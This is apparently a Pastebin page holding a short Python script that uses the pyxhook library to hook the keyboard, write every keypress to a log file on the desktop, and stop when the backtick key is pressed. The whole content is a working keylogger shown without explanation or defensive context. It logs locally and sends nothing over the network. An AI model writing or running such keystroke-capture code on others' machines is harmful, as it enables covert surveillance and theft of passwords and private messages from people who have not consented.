Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python3
- import pyxhook as huks
- log_file = '/home/ubuntu/Desktop/key.log'
- def OnKeyPressed(event):
- logf = open(log_file, 'a')
- logf.write(event.Key)
- logf.write('\n')
- if event.Ascii == 96:
- logf.close()
- new_hook.cancel()
- new_hook = huks.HookManager()
- new_hook.KeyDown = OnKeyPressed
- new_hook.HookKeyboard()
- new_hook.start()
- exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement